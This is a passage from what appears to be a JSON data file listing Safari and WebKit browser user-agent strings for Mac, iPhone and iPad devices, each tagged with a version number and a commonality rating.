7_0_3 like Mac OS X) AppleWebKit\\/537.51.1 (KHTML, like Gecko) Version\\/7.0 Mobile\\/11B511 Safari\\/9537.53\"},{\"commonality\":\"Average\",\"version\":\"10\",\"ua\":\"Mozilla\\/5.0 (iPhone; CPU iPhone OS 10_1 like Mac OS X) AppleWebKit\\/602.2.14 (KHTML, like Gecko) Version\\/10.0 Mobile\\/14B72c Safari\\/602.1\"},{\"commonality\":\"Average\",\"version\":\"7\",\"ua\":\"Mozilla\\/5.0 (Macintosh; Intel Mac OS X 10_9_3) AppleWebKit\\/537.75.14 (KHTML, like Gecko) Version\\/7.0.3 Safari\\/537.75.14\"},{\"commonality\":\"Average\",\"version\":\"10\",\"ua\":\"Mozilla\\/5.0 (iPhone; CPU iPhone OS 10_3 like Mac OS X) AppleWebKit\\/603.1.30 (KHTML, like Gecko) Version\\/10.0 Mobile\\/14E277 Safari\\/602.1\"},{\"commonality\":\"Average\",\"version\":\"7.1\",\"ua\":\"Mozilla\\/5.0 (Macintosh; Intel Mac OS X 10_9_5) AppleWebKit\\/600.1.17 (KHTML, like Gecko) Version\\/7.1 Safari\\/537.85.10\"},{\"commonality\":\"Average\",\"version\":\"9\",\"ua\":\"Mozilla\\/5.0 (iPhone; CPU iPhone OS 9_0_1 like Mac OS X) AppleWebKit\\/601.1.46 (KHTML, like Gecko) Version\\/9.0 Mobile\\/13A405 Safari\\/601.1\"},{\"commonality\":\"Average\",\"version\":\"7\",\"ua\":\"Mozilla\\/5.0 (iPad; CPU OS 7_0_6 like Mac OS X) AppleWebKit\\/537.51.1 (KHTML, like Gecko) Version\\/7.0 Mobile\\/11B651 Safari\\/9537.53\"},{\"commonality\":\"Average\",\"version\":\"5.1\",\"ua\":\"Mozilla\\/5.0 (Macintosh; Intel Mac OS X 10_7_3) AppleWebKit\\/534.55.3 (KHTML, like Gecko) Version\\/5.1.3 Safari\\/534.53.10\"},{\"commonality\":\"Average\",\"version\":\"5.1\",\"ua\":\"Mozilla\\/5.0 (iPhone; CPU iPhone OS 5_0_1 like Mac OS X) AppleWebKit\\/534.46 (KHTML, like Gecko) Version\\/5.1 Mobile\\/9A405 Safari\\/7534.48.3\"},{\"commonality\":\"Average\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (Windows; U; Windows NT 6.0; en-US) AppleWebKit\\/528.16 (KHTML, like Gecko) Version\\/4.0 Safari\\/528.16\"},{\"commonality\":\"Average\",\"version\":\"7\",\"ua\":\"Mozilla\\/5.0 (Macintosh; Intel Mac OS X 10_9_4) AppleWebKit\\/537.78.2 (KHTML, like Gecko) Version\\/7.0.6 Safari\\/537.78.2\"},{\"commonality\":\"Average\",\"version\":\"\",\"ua\":\"Mozilla\\/5.0 (Macintosh; PPC Mac OS X) AppleWebKit\\/534.34 (KHTML, like Gecko) PhantomJS\\/1.9.8 Safari\\/534.34\"},{\"commonality\":\"Average\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (iPad; U; CPU OS 3_2 like Mac OS X; en-us) AppleWebKit\\/531.21.10 (KHTML, like Gecko) Version\\/4.0.4 Mobile\\/7B334b Safari\\/531.21.102011-10-16 20:23:10\"},{\"commonality\":\"Average\",\"version\":\"6\",\"ua\":\"Mozilla\\/5.0 (iPod; CPU iPhone OS 6_1_6 like Mac OS X) AppleWebKit\\/536.26 (KHTML, like Gecko) Version\\/6.0 Mobile\\/10B500 Safari\\/8536.25\"},{\"commonality\":\"Average\",\"version\":\"9\",\"ua\":\"Mozilla\\/5.0 (iPhone; CPU iPhone OS 9_3 like Mac OS X) AppleWebKit\\/601.1.46 (KHTML, like Gecko) Version\\/9.0 Mobile\\/13E198 Safari\\/601.1\"},{\"commonality\":\"Average\",\"version\":\"5\",\"ua\":\"Mozilla\\/5.0 (iPod; U; CPU iPhone OS 4_2_1 like Mac OS X; en-us) AppleWebKit\\/533.17.9 (KHTML, like Gecko) Version\\/5.0.2 Mobile\\/8C148 Safari\\/6533.18.5\"},{\"commonality\":\"Average\",\"version\":\"10\",\"ua\":\"Mozilla\\/5.0 (iPad; CPU OS 10_3_2 like Mac OS X) AppleWebKit\\/603.2.4 (KHTML, like Gecko) Version\\/10.0 Mobile\\/14F90 Safari\\/602.1\"},{\"commonality\":\"Average\",\"version\":\"9\",\"ua\":\"Mozilla\\/5.0 (iPhone; CPU iPhone OS 9_2_1 like Mac OS X) AppleWebKit\\/601.1.46 (KHTML, like Gecko) Version\\/9.0 Mobile\\/13D20 Safari\\/601.1\"},{\"commonality\":\"Average\",\"version\":\"6\",\"ua\":\"Mozilla\\/5.0 (iPad; CPU OS 7_0 like Mac OS X) AppleWebKit\\/536.26 (KHTML, like Gecko) Version\\/6.0 Mobile\\/10A406 Safari\\/8536.25\"},{\"commonality\":\"Average\",\"version\":\"10\",\"ua\":\"Mozilla\\/5.0 (iPhone; CPU iPhone OS 10_0_3 like Mac OS X) AppleWebKit\\/602.1.50 (KHTML, like Gecko) Version\\/10.0 Mobile\\/14A551 Safari\\/602.1\"},{\"commonality\":\"Average\",\"version\":\"6.2\",\"ua\":\"Mozilla\\/5.0 (Macintosh; Intel Mac OS X 10_8_5) AppleWebKit\\/600.7.12 (KHTML, like Gecko) Version\\/6.2.7 Safari\\/537.85.16\"},{\"commonality\":\"Average\",\"version\":\"5.1\",\"ua\":\"Mozilla\\/5.0 (Macintosh; Intel Mac OS X 10_6_8) AppleWebKit\\/534.51.22 (KHTML, like Gecko) Version\\/5.1.1 Safari\\/534.51.22\"},{\"commonality\":\"Average\",\"version\":\"6\",\"ua\":\"Mozilla\\/5.0 (Macintosh; Intel Mac OS X 10_8_2) AppleWebKit\\/536.26.14 (KHTML, like Gecko) Version\\/6.0.1 Safari\\/536.26.14\"},{\"commonality\":\"Average\",\"version\":\"8\",\"ua\":\"Mozilla\\/5.0 (Macintosh; Intel Mac OS X 10_10_2) AppleWebKit\\/600.4.8 (KHTML, like Gecko) Version\\/8.0.3 Safari\\/600.4.8\"},{\"commonality\":\"Average\",\"version\":\"6\",\"ua\":\"Mozilla\\/5.0 (iPhone; CPU iPhone OS 6_0 like Mac OS X) AppleWebKit\\/536.26 (KHTML, like Gecko)                 Version\\/6.0 Mobile\\/10A5376e Safari\\/8536.25 (compatible; SMTBot\\/1.0; +http:\\/\\/www.similartech.com\\/smtbot)\"},{\"commonality\":\"Average\",\"version\":\"8\",\"ua\":\"Mozilla\\/5.0 (iPhone; CPU iPhone OS 8_0 like Mac OS X) AppleWebKit\\/600.1.4 (KHTML, like Gecko) Version\\/8.0 Mobile\\/12A365 Safari\\/600.1.4\"},{\"commonality\":\"Average\",\"version\":\"10\",\"ua\":\"Mozilla\\/5.0 (iPhone; CPU iPhone OS 10_3_3 like Mac OS X) AppleWebKit\\/603.3.4 (KHTML, like Gecko) Version\\/10.0 Mobile\\/14G5047a Safari\\/602.1\"},{\"commonality\":\"Average\",\"version\":\"5.1\",\"ua\":\"Mozilla\\/5.0 (Macintosh; Intel Mac OS X 10_7_3) AppleWebKit\\/534.55.3 (KHTML, like Gecko) Version\\/5.1.5 Safari\\/534.55.3\"},{\"commonality\":\"Average\",\"version\":\"10\",\"ua\":\"Mozilla\\/5.0 (iPhone; CPU iPhone OS 10_0 like Mac OS X) AppleWebKit\\/602.1.50 (KHTML, like Gecko) Version\\/10.0 Mobile\\/14A346 Safari\\/602.1\"},{\"commonality\":\"Average\",\"version\":\"6\",\"ua\":\"Mozilla\\/5.0 (iPhone; CPU iPhone OS 6_1_4 like Mac OS X) AppleWebKit\\/536.26 (KHTML, like Gecko) Version\\/6.0 Mobile\\/10B350 Safari\\/8536.25\"},{\"commonality\":\"Average\",\"version\":\"8\",\"ua\":\"Mozilla\\/5.0 (Macintosh; Intel Mac OS X 10_10) AppleWebKit\\/600.2.5 (KHTML, like Gecko) Version\\/8.0.2 Safari\\/600.2.5\"},{\"commonality\":\"Average\",\"version\":\"10\",\"ua\":\"Mozilla\\/5.0 (iPhone; CPU iPhone OS 10_0 like Mac OS X) AppleWebKit\\/602.1.40 (KHTML, like Gecko) Version\\/10.0 Mobile\\/14A5309d Safari\\/602.1\"},{\"commonality\":\"Average\",\"version\":\"7\",\"ua\":\"Mozilla\\/5.0 (iPad; CPU OS 8_0_2 like Mac OS X) AppleWebKit\\/600.1.4 (KHTML like Gecko) Mobile\\/12A405 Version\\/7.0 Safari\\/9537.53\"},{\"commonality\":\"Average\",\"version\":\"8\",\"ua\":\"Mozilla\\/5.0 (Macintosh; Intel Mac OS X 10_10) AppleWebKit\\/537.36 (KHTML, like Gecko) Version\\/8.0 Safari\\/537.36\"},{\"commonality\":\"Average\",\"version\":\"5.1\",\"ua\":\"Mozilla\\/5.0 (Macintosh; Intel Mac OS X 10_7_4) AppleWebKit\\/534.56.5 (KHTML, like Gecko) Version\\/5.1.6 Safari\\/534.56.5\"},{\"commonality\":\"Average\",\"version\":\"10\",\"ua\":\"Mozilla\\/5.0 (iPad; CPU OS 10_1 like Mac OS X) AppleWebKit\\/602.2.14 (KHTML, like Gecko) Version\\/10.0 Mobile\\/14B72 Safari\\/602.1\"},{\"commonality\":\"Average\",\"version\":\"9\",\"ua\":\"Mozilla\\/5.0 (iPad; CPU OS 9_1 like Mac OS X) AppleWebKit\\/601.1.46 (KHTML, like Gecko) Version\\/9.0 Mobile\\/13B137 Safari\\/601.1\"},{\"commonality\":\"Average\",\"version\":\"9\",\"ua\":\"Mozilla\\/5.0 (iPhone; CPU iPhone OS 9_3 like Mac OS X) AppleWebKit\\/601.1.46 (KHTML, like Gecko) Version\\/9.0 Mobile\\/13E5200d Safari\\/601.1\"},{\"commonality\":\"Average\",\"version\":\"5\",\"ua\":\"Mozilla\\/5.0 (iPhone; U; CPU iPhone OS 4_2_1 like Mac OS X; en-us) AppleWebKit\\/533.17.9 (KHTML, like Gecko) Version\\/5.0.2 Mobile\\/8C148 Safari\\/6533.18.5\"},{\"commonality\":\"Average\",\"version\":\"5.1\",\"ua\":\"Mozilla\\/5.0 (iPod; CPU iPhone OS 5_1_1 like Mac OS X) AppleWebKit\\/534.46 (KHTML, like Gecko) Version\\/5.1 Mobile\\/9B206 Safari\\/7534.48.3\"},{\"commonality\":\"Average\",\"version\":\"6\",\"ua\":\"Mozilla\\/5.0 (iPad; CPU OS 6_0 like Mac OS X) AppleWebKit\\/536.26 (KHTML, like Gecko) Version\\/6.0 Mobile\\/10A403 Safari\\/8536.25\"},{\"commonality\":\"Average\",\"version\":\"5.1\",\"ua\":\"Mozilla\\/5.0 (Macintosh; Intel Mac OS X 10_6_8) AppleWebKit\\/534.55.3 (KHTML, like Gecko) Version\\/5.1.5 Safari\\/534.55.3\"},{\"commonality\":\"Average\",\"version\":\"\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.2; WOW64) AppleWebKit\\/538.1 (KHTML, like Gecko) PhantomJS\\/2.1.1 Safari\\/538.1\"},{\"commonality\":\"Average\",\"version\":\"9\",\"ua\":\"Mozilla\\/5.0 (iPad; CPU OS 9_3 like Mac OS X) AppleWebKit\\/601.1.46 (KHTML, like Gecko) Version\\/9.0 Mobile\\/13E237 Safari\\/601.1\"},{\"commonality\":\"Average\",\"version\":\"\",\"ua\":\"Mozilla\\/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit\\/601.7.8 (KHTML, like Gecko) Safari\\/522.0\"},{\"commonality\":\"Average\",\"version\":\"\",\"ua\":\"Mozilla\\/5.0 (Macintosh; Intel Mac OS X 10_11_1) AppleWebKit\\/603.1.30 (KHTML, like Gecko) Safari\\/603.1.30\"},{\"commonality\":\"Average\",\"version\":\"5.1\",\"ua\":\"Mozilla\\/5.0 (Macintosh; Intel Mac OS X 10_6_8) AppleWebKit\\/534.50 (KHTML, like Gecko) Version\\/5.1 Safari\\/534.50\"},{\"commonality\":\"Average\",\"version\":\"8\",\"ua\":\"Mozilla\\/5.0 (iPad; CPU OS 8_0 like Mac OS X) AppleWebKit\\/600.1.4 (KHTML, like Gecko) Version\\/8.0 Mobile\\/12A365 Safari\\/600.1.4\"},{\"commonality\":\"Average\",\"version\":\"6\",\"ua\":\"Mozilla\\/5.0 (Macintosh; Intel Mac OS X 10_7_4) AppleWebKit\\/536.25 (KHTML, like Gecko) Version\\/6.0 Safari\\/536.25\"},{\"commonality\":\"Average\",\"version\":\"9\",\"ua\":\"Mozilla\\/5.0 (iPhone; CPU iPhone OS 9_1 like Mac OS X) AppleWebKit\\/601.1.46 (KHTML, like Gecko) Version\\/9.0 Mobile\\/13B137 Safari\\/601.1\"},{\"commonality\":\"Average\",\"version\":\"8\",\"ua\":\"Mozilla\\/5.0 (iPhone; CPU iPhone OS 8_1_1 like Mac OS X) AppleWebKit\\/600.1.4 (KHTML, like Gecko) Version\\/8.0 Mobile\\/12B435 Safari\\/600.1.4\"},{\"commonality\":\"Average\",\"version\":\"9\",\"ua\":\"Mozilla\\/5.0 (iPhone; CPU iPhone OS 9_3 like Mac OS X) AppleWebKit\\/601.1.46 (KHTML, like Gecko) Version\\/9.0 Mobile\\/13E230 Safari\\/601.1\"},{\"commonality\":\"Average\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (iPad; U; CPU OS 3_2_2 like Mac OS X; en-us) AppleWebKit\\/531.21.10 (KHTML, like Gecko) Version\\/4.0.4 Mobile\\/7B500 Safari\\/531.21.10\"},{\"commonality\":\"Average\",\"version\":\"6.2\",\"ua\":\"Mozilla\\/5.0 (Macintosh; Intel Mac OS X 10_8_5) AppleWebKit\\/600.1.17 (KHTML, like Gecko) Version\\/6.2 Safari\\/537.85.10\"},{\"commonality\":\"Average\",\"version\":\"9\",\"ua\":\"Mozilla\\/5.0 (iPhone; CPU OS 9_3_2 like Mac OS X) AppleWebKit\\/601.1.46 (KHTML, like Gecko) Version\\/9.0 Mobile\\/13F69 Safari\\/601.1\"},{\"commonality\":\"Average\",\"version\":\"9\",\"ua\":\"Mozilla\\/5.0 (iPad; CPU OS 9_3 like Mac OS X) AppleWebKit\\/601.1.46 (KHTML, like Gecko) Version\\/9.0 Mobile\\/13E230 Safari\\/601.1\"},{\"commonality\":\"Average\",\"version\":\"6\",\"ua\":\"Mozilla\\/5.0 (iPhone; CPU iPhone OS 6_1_6 like Mac OS X) AppleWebKit\\/536.26 (KHTML, like Gecko) Version\\/6.0 Mobile\\/10B500 Safari\\/8536.25\"},{\"commonality\":\"Average\",\"version\":\"10\",\"ua\":\"Mozilla\\/5.0 (iPad; CPU OS 10_3 like Mac OS X) AppleWebKit\\/603.1.30 (KHTML, like Gecko) Version\\/10.0 Mobile\\/14E277 Safari\\/602.1\"},{\"commonality\":\"Average\",\"version\":\"\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.1; WOW64) AppleWebKit\\/538.1 (KHTML, like Gecko) PhantomJS\\/2.1.1 Safari\\/538.1\"},{\"commonality\":\"Average\",\"version\":\"7\",\"ua\":\"Mozilla\\/5.0 (iPad; CPU OS 7_0_2 like Mac OS X) AppleWebKit\\/537.51.1 (KHTML, like Gecko) Version\\/7.0 Mobile\\/11A501 Safari\\/9537.53\"},{\"commonality\":\"Average\",\"version\":\"5.1\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.0) AppleWebKit\\/534.57.2 (KHTML, like Gecko) Version\\/5.1.7 Safari\\/534.57.2\"},{\"commonality\":\"Average\",\"version\":\"6.2\",\"ua\":\"Mozilla\\/5.0 (Macintosh; Intel Mac OS X 10_8_5) AppleWebKit\\/600.2.5 (KHTML, like Gecko) Version\\/6.2.2 Safari\\/537.85.11\"},{\"commonality\":\"Average\",\"version\":\"5.1\",\"ua\":\"Mozilla\\/5.0 (iPad; U; CPU OS 5_1 like Mac OS X; en-us) AppleWebKit\\/534.46 (KHTML, like Gecko) Version\\/5.1 Mobile\\/9B176 Safari\\/7534.48.3\"},{\"commonality\":\"Average\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (Macintosh; U; Intel Mac OS X 10_6_2; en-us) AppleWebKit\\/531.21.8 (KHTML, like Gecko) Version\\/4.0.4 Safari\\/531.21.10\"},{\"commonality\":\"Average\",\"version\":\"\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.1; WOW64) AppleWebKit\\/538.1 (KHTML, like Gecko) webinfo4 Safari\\/538.1\"},{\"commonality\":\"Average\",\"version\":\"7\",\"ua\":\"Mozilla\\/5.0 (Macintosh; Intel Mac OS X 10_9_2) AppleWebKit\\/537.74.9 (KHTML, like Gecko) Version\\/7.0.2 Safari\\/537.74.9\"},{\"commonality\":\"Average\",\"version\":\"8\",\"ua\":\"Mozilla\\/5.0 (iPhone; CPU iPhone OS 8_0_2 like Mac OS X) AppleWebKit\\/600.1.4 (KHTML, like Gecko) Version\\/8.0 Mobile\\/12A366 Safari\\/600.1.4\"},{\"commonality\":\"Average\",\"version\":\"8\",\"ua\":\"Mozilla\\/5.0 (iPhone; CPU iPhone OS 8_1_1 like Mac OS X) AppleWebKit\\/600.1.4 (KHTML, like Gecko) Version\\/8.0 Mobile\\/12B436 Safari\\/600.1.4\"},{\"commonality\":\"Average\",\"version\":\"7\",\"ua\":\"Mozilla\\/5.0 (Macintosh; Intel Mac OS X 10_9) AppleWebKit\\/537.71 (KHTML, like Gecko) Version\\/7.0 Safari\\/537.71\"},{\"commonality\":\"Average\",\"version\":\"5.1\",\"ua\":\"Mozilla\\/5.0 (Macintosh; Intel Mac OS X 10_7_2) AppleWebKit\\/534.52.7 (KHTML, like Gecko) Version\\/5.1.2 Safari\\/534.52.7\"},{\"commonality\":\"Average\",\"version\":\"11\",\"ua\":\"Mozilla\\/5.0 (iPhone; CPU iPhone OS 11_1 like Mac OS X) AppleWebKit\\/604.3.1 (KHTML, like Gecko) Version\\/11.0 Mobile\\/15B5066f Safari\\/604.1\"},{\"commonality\":\"Average\",\"version\":\"5\",\"ua\":\"Mozilla\\/5.0 (Macintosh; U; Intel Mac OS X 10_6_8; de-at) AppleWebKit\\/533.21.1 (KHTML, like Gecko) Version\\/5.0.5 Safari\\/533.21.1\"},{\"commonality\":\"Average\",\"version\":\"9\",\"ua\":\"Mozilla\\/5.0 (iPhone; CPU iPhone OS 9_0 like Mac OS X) AppleWebKit\\/601.1.46 (KHTML, like Gecko) Version\\/9.0 Mobile\\/13A342 Safari\\/601.1\"},{\"commonality\":\"Average\",\"version\":\"7.1\",\"ua\":\"Mozilla\\/5.0 (Macintosh; Intel Mac OS X 10_9_5) AppleWebKit\\/600.5.17 (KHTML, like Gecko) Version\\/7.1.5 Safari\\/537.85.14\"},{\"commonality\":\"Average\",\"version\":\"5.1\",\"ua\":\"Mozilla\\/5.0 (iPhone; CPU iPhone OS 5_1 like Mac OS X) AppleWebKit\\/534.46 (KHTML, like Gecko) Version\\/5.1 Mobile\\/9B179 Safari\\/7534.48.3\"},{\"commonality\":\"Average\",\"version\":\"7\",\"ua\":\"Mozilla\\/5.0 (iPhone; CPU iPhone OS 7_0_6 like Mac OS X) AppleWebKit\\/537.51.1 (KHTML, like Gecko) Version\\/7.0 Mobile\\/11B651 Safari\\/9537.53\"},{\"commonality\":\"Average\",\"version\":\"6.2\",\"ua\":\"Mozilla\\/5.0 (Macintosh; Intel Mac OS X 10_8_5) AppleWebKit\\/600.3.18 (KHTML, like Gecko) Version\\/6.2.3 Safari\\/537.85.12\"},{\"commonality\":\"Average\",\"version\":\"\",\"ua\":\"Mozilla\\/5.0 (Macintosh; Intel Mac OS X 10_11_1) AppleWebKit\\/603.2.4 (KHTML, like Gecko) Safari\\/603.2.4\"},{\"commonality\":\"Average\",\"version\":\"9\",\"ua\":\"Mozilla\\/5.0 (iPhone; CPU iPhone OS 9_3 like Mac OS X) AppleWebKit\\/601.1.46 (KHTML, like Gecko) Version\\/9.0 Mobile\\/13E237 Safari\\/601.1\"},{\"commonality\":\"Average\",\"version\":\"10\",\"ua\":\"Mozilla\\/5.0 (iPhone; CPU iPhone OS 10_2_1 like Mac OS X) AppleWebKit\\/602.4.3 (KHTML, like Gecko) Version\\/10.0 Mobile\\/14D15 Safari\\/602.1\"},{\"commonality\":\"Average\",\"version\":\"\",\"ua\":\"Mozilla\\/5.0 (Macintosh; Intel Mac OS X 10_12) AppleWebKit\\/602.1.50 (KHTML, like Gecko) Safari\\/522.0\"},{\"commonality\":\"Average\",\"version\":\"5\",\"ua\":\"Mozilla\\/5.0 (Macintosh; U; Intel Mac OS X 10_6_8; fr-fr) AppleWebKit\\/533.21.1 (KHTML, like Gecko) Version\\/5.0.5 Safari\\/533.21.1\"},{\"commonality\":\"Average\",\"version\":\"6\",\"ua\":\"Mozilla\\/5.0 (Macintosh; Intel Mac OS X 10_8_4) AppleWebKit\\/536.30.1 (KHTML, like Gecko) Version\\/6.0.5 Safari\\/536.30.1\"},{\"commonality\":\"Average\",\"version\":\"7.1\",\"ua\":\"Mozilla\\/5.0 (Macintosh; Intel Mac OS X 10_9_5) AppleWebKit\\/600.3.18 (KHTML, like Gecko) Version\\/7.1.3 Safari\\/537.85.12\"},{\"commonality\":\"Average\",\"version\":\"7\",\"ua\":\"Mozilla\\/5.0 (Windows NT 6.1) AppleWebKit\\/537.71 (KHTML like Gecko) WebVideo\\/1.0.1.10 Version\\/7.0 Safari\\/537.71\"},{\"commonality\":\"Average\",\"version\":\"6\",\"ua\":\"Mozilla\\/5.0 (iPhone; CPU iPhone OS 6_0_2 like Mac OS X) AppleWebKit\\/536.26 (KHTML, like Gecko) Version\\/6.0 Mobile\\/10A551 Safari\\/8536.25\"},{\"commonality\":\"Average\",\"version\":\"9\",\"ua\":\"Mozilla\\/5.0 (Macintosh; Intel Mac OS X 10_11) AppleWebKit\\/601.1.39 (KHTML, like Gecko) Version\\/9.0 Safari\\/601.1.39\"},{\"commonality\":\"Average\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (Macintosh; U; Intel Mac OS X 10_6; en-us) AppleWebKit\\/531.9 (KHTML, like Gecko) Version\\/4.0.3 Safari\\/531.9\"},{\"commonality\":\"Average\",\"version\":\"5\",\"ua\":\"Mozilla\\/5.0 (iPhone; U; CPU iPhone OS 4_3_3 like Mac OS X; en-us) AppleWebKit\\/533.17.9 (KHTML, like Gecko) Version\\/5.0.2 Mobile\\/8J2 Safari\\/6533.18.5\"},{\"commonality\":\"Average\",\"version\":\"6\",\"ua\":\"Mozilla\\/5.0 (iPhone; CPU iPhone OS 6_1 like Mac OS X) AppleWebKit\\/536.26 (KHTML, like Gecko) Version\\/6.0 Mobile\\/10B143 Safari\\/8536.25\"},{\"commonality\":\"Average\",\"version\":\"5.1\",\"ua\":\"Mozilla\\/5.0 (Macintosh; Intel Mac OS X 10_6_8) AppleWebKit\\/537.13+ (KHTML, like Gecko) Version\\/5.1.7 Safari\\/534.57.2\"},{\"commonality\":\"Average\",\"version\":\"3\",\"ua\":\"Mozilla\\/5.0 (iPhone; U; CPU like Mac OS X; en) AppleWebKit\\/420+ (KHTML, like Gecko) Version\\/3.0 Mobile\\/1A543 Safari\\/419.3\"},{\"commonality\":\"Average\",\"version\":\"6\",\"ua\":\"Mozilla\\/5.0 (iPad; CPU OS 6_0_1 like Mac OS X) AppleWebKit\\/536.26 (KHTML, like Gecko) Version\\/6.0 Mobile\\/10A8426 Safari\\/8536.25\"},{\"commonality\":\"Average\",\"version\":\"7.1\",\"ua\":\"Mozilla\\/5.0 (Macintosh; Intel Mac OS X 10_9_5) AppleWebKit\\/600.2.5 (KHTML, like Gecko) Version\\/7.1.2 Safari\\/537.85.11\"},{\"commonality\":\"Average\",\"version\":\"5.1\",\"ua\":\"Mozilla\\/5.0 (Macintosh; Intel Mac OS X 10_6_8) AppleWebKit\\/534.54.16 (KHTML, like Gecko) Version\\/5.1.4 Safari\\/534.54.16\"},{\"commonality\":\"Average\",\"version\":\"7\",\"ua\":\"Mozilla\\/5.0 (iPhone; CPU iPhone OS 7_0_3 like Mac OS X) AppleWebKit\\/537.51.1 (KHTML, like Gecko) Version\\/7.0 Mobile\\/11B511 Safari\\/9537.53\"},{\"commonality\":\"Average\",\"version\":\"10\",\"ua\":\"Mozilla\\/5.0 (Macintosh; Intel Mac OS X 10_12) AppleWebKit\\/602.1.38 (KHTML, like Gecko) Version\\/10.0 Safari\\/602.1.38\"},{\"commonality\":\"Average\",\"version\":\"5\",\"ua\":\"Mozilla\\/5.0 (iPad; U; CPU OS 4_3_2 like Mac OS X; en-us) AppleWebKit\\/533.17.9 (KHTML, like Gecko) Version\\/5.0.2 Mobile\\/8H7 Safari\\/6533.18.5\"},{\"commonality\":\"Average\",\"version\":\"5\",\"ua\":\"Mozilla\\/5.0 (Windows; U; Windows NT 6.1; tr-TR) AppleWebKit\\/533.20.25 (KHTML, like Gecko) Version\\/5.0.4 Safari\\/533.20.27\"},{\"commonality\":\"Average\",\"version\":\"7.1\",\"ua\":\"Mozilla\\/5.0 (Macintosh; Intel Mac OS X 10_9_5) AppleWebKit\\/600.4.10 (KHTML, like Gecko) Version\\/7.1.4 Safari\\/537.85.13\"},{\"commonality\":\"Average\",\"version\":\"9.1\",\"ua\":\"Mozilla\\/5.0 (Macintosh; Intel Mac OS X 10_10_5) AppleWebKit\\/600.8.9 (KHTML, like Gecko) Version\\/9.1 Safari\\/601.5.17\"},{\"commonality\":\"Average\",\"version\":\"9\",\"ua\":\"Mozilla\\/5.0 (iPad; CPU OS 9_3_2 like Mac OS X) AppleWebKit\\/601.1.46 (KHTML, like Gecko) Version\\/9.0 Mobile\\/13F72 Safari\\/601.1\"},{\"commonality\":\"Average\",\"version\":\"\",\"ua\":\"Mozilla\\/5.0 (Macintosh; Intel Mac OS X) AppleWebKit\\/538.1 (KHTML, like Gecko) PhantomJS\\/2.1.1 Safari\\/538.1\"},{\"commonality\":\"Average\",\"version\":\"5\",\"ua\":\"Mozilla\\/5.0 (Macintosh; U; Intel Mac OS X 10_6_7; en-us) AppleWebKit\\/533.21.1 (KHTML, like Gecko) Version\\/5.0.5 Safari\\/533.21.1\"},{\"commonality\":\"Average\",\"version\":\"5.1\",\"ua\":\"Mozilla\\/5.0 (iPhone; CPU iPhone OS 5_1 like Mac OS X) AppleWebKit\\/534.46 (KHTML, like Gecko) Version\\/5.1 Mobile\\/9B176 Safari\\/7534.48.3\"},{\"commonality\":\"Average\",\"version\":\"7\",\"ua\":\"Mozilla\\/5.0 (Macintosh; Intel Mac OS X 10_9_2) AppleWebKit\\/537.75.14 (KHTML, like Gecko) Version\\/7.0.3 Safari\\/537.75.14\"},{\"commonality\":\"Average\",\"version\":\"11\",\"ua\":\"Mozilla\\/5.0 (iPhone; CPU iPhone OS 11_2_5 like Mac OS X) AppleWebKit\\/604.5.2 (KHTML, like Gecko) Version\\/11.0 Mobile\\/15D5046b Safari\\/604.1\"},{\"commonality\":\"Average\",\"version\":\"5\",\"ua\":\"Mozilla\\/5.0 (Macintosh; U; Intel Mac OS X 10_6_4; en-us) AppleWebKit\\/533.18.1 (KHTML, like Gecko) Version\\/5.0.2 Safari\\/533.18.5\"},{\"commonality\":\"Average\",\"version\":\"10\",\"ua\":\"Mozilla\\/5.0 (iPod touch; CPU iPhone OS 10_2_1 like Mac OS X) AppleWebKit\\/602.4.6 (KHTML, like Gecko) Version\\/10.0 Mobile\\/14D27 Safari\\/602.1\"},{\"commonality\":\"Average\",\"version\":\"5\",\"ua\":\"Mozilla\\/5.0(iPad; U; CPU OS 4_3 like Mac OS X; en-us) AppleWebKit\\/533.17.9 (KHTML, like Gecko) Version\\/5.0.2 Mobile\\/8F191 Safari\\/6533.18.5\"},{\"commonality\":\"Average\",\"version\":\"9\",\"ua\":\"Mozilla\\/5.0 (iPhone; CPU iPhone OS 9_0 like Mac OS X) AppleWebKit\\/601.1.46 (KHTML, like Gecko) Version\\/9.0 Mobile\\/13A343 Safari\\/601.1\"},{\"commonality\":\"Average\",\"version\":\"10\",\"ua\":\"Mozilla\\/5.0 (Macintosh; Intel Mac OS X 10_12) AppleWebKit\\/602.1.40 (KHTML, like Gecko) Version\\/10.0 Safari\\/602.1.40\"},{\"commonality\":\"Average\",\"version\":\"6\",\"ua\":\"Mozilla\\/5.0 (Macintosh; Intel Mac OS X 10_7_5) AppleWebKit\\/536.30.1 (KHTML, like Gecko) Version\\/6.0.5 Safari\\/536.30.1\"},{\"commonality\":\"Average\",\"version\":\"9.1\",\"ua\":\"Mozilla\\/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit\\/601.7.5 (KHTML, like Gecko) Version\\/9.1.2 Safari\\/601.7.5\"},{\"commonality\":\"Average\",\"version\":\"9\",\"ua\":\"Mozilla\\/5.0 (iPhone; CPU iPhone OS 9_1 like Mac OS X) AppleWebKit\\/601.1.46 (KHTML, like Gecko) Version\\/9.0 Mobile\\/13B5110e Safari\\/601.1\"},{\"commonality\":\"Average\",\"version\":\"4\",\"ua\":\"Mozilla\\/5.0 (iPad; U; CPU OS 5_0_1 like Mac OS X; en-us) AppleWebKit\\/531.21.10 (KHTML, like Gecko) Version\\/4.0.4 Mobile\\/7B334b Safari\\/531.21.10\"},{\"commonality\":\"Average\",\"version\":\"8.1\",\"ua\":\"Mozilla\\/5.0 (Macintosh; Intel Mac OS X 10_11) AppleWebKit\\/601.1.32 (KHTML, like Gecko) Version\\/8.1 Safari\\/601.1.32\"},{\"commonality\":\"Average\",\"version\":\"9\",\"ua\":\"Mozilla\\/5.0 (Macintosh; Intel Mac OS X 10_11) AppleWebKit\\/601.1.46 (KHTML, like Gecko) Version\\/9.0 Safari\\/601.1.42\"},{\"commonality\":\"Average\",\"version\":\"9\",\"ua\":\"Mozilla\\/5.0 (iPod touch; CPU iPhone OS 9_2_1 like Mac OS X) AppleWebKit\\/601.1.46 (KHTML, like Gecko) Version\\/9.0 Mobile\\/13D15 